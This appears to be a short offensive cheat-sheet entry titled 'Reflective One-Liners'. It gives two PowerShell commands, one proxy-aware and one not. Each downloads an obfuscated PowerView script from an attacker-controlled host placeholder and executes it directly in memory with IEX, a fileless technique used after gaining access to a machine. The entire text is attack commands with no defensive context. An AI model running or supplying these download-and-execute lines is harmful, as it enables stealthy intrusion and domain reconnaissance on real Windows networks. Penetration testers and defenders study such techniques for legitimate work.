Load Directly Into Memory (Reflective One-Liners)

1) Proxy-aware

IEX (New-Object Net.WebClient).DownloadString('http://[ATTACKER_IP]/PowerView.obs.ps1')

2) Non-proxy aware

$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://[ATTACKER_IP]/PowerView.obs.ps1',$false);$h.send();iex $h.responseText